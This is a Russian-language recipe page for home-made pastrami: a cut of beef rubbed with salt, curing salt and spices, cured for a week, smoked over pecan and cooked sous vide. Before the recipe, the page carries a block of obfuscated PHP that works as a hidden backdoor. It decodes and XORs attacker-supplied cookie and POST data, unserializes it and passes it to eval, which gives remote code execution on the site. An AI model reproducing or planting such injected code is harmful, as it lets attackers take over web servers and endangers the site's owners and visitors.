$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} ПАСТРАМИ (ГОВЯДИНА ВАРЕНО-КОПЧЕНАЯ) • Meat Review

На главную
Рецепты
ПАСТРАМИ (ГОВЯДИНА ВАРЕНО-КОПЧЕНАЯ)

ПАСТРАМИ (ГОВЯДИНА ВАРЕНО-КОПЧЕНАЯ)

Перейти в режим чтения

мин

0 0

Поделиться
4 370 Просмотры
Нравится 5

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Инструкция

Старинное еврейское изделие пастрами готовится из говяжьей грудинки и особо популярно в Америке и Канаде. Как и положено жителями того континента обязательно запихивается в булку и съедается с чавканьем и урчанием. Я небольшой любитель булок, но привычка к советской «нарезке» позволяет есть пастрами без всяких дополнительных углеводов, разве что перемежая с травой и овощами и напитками естественного происхождения темно-красных оттенков.

Грудинку я не стал искать, а взял большой кусок из задней части коровы, и нарезал пластами толщиной ок. 4 см. В пакет уложил мясо и добавил специи.

2% соли
CUR 1 — 0,25
Сахар 1%
Смесь перцев
Чили
Эспелет
Чеснок гр.
Паприка копченая сладкая и острая.
Специи отмеряю на глаз — для обмазки точность не важна.

При ежедневном массировании мясо пролежало в холодильнике неделю. После чего обмыл, просушил и отправил на копчение пеканом.
После копчения дал отдохнуть сутки и в вакуум и сувид при 55С на 14 часов.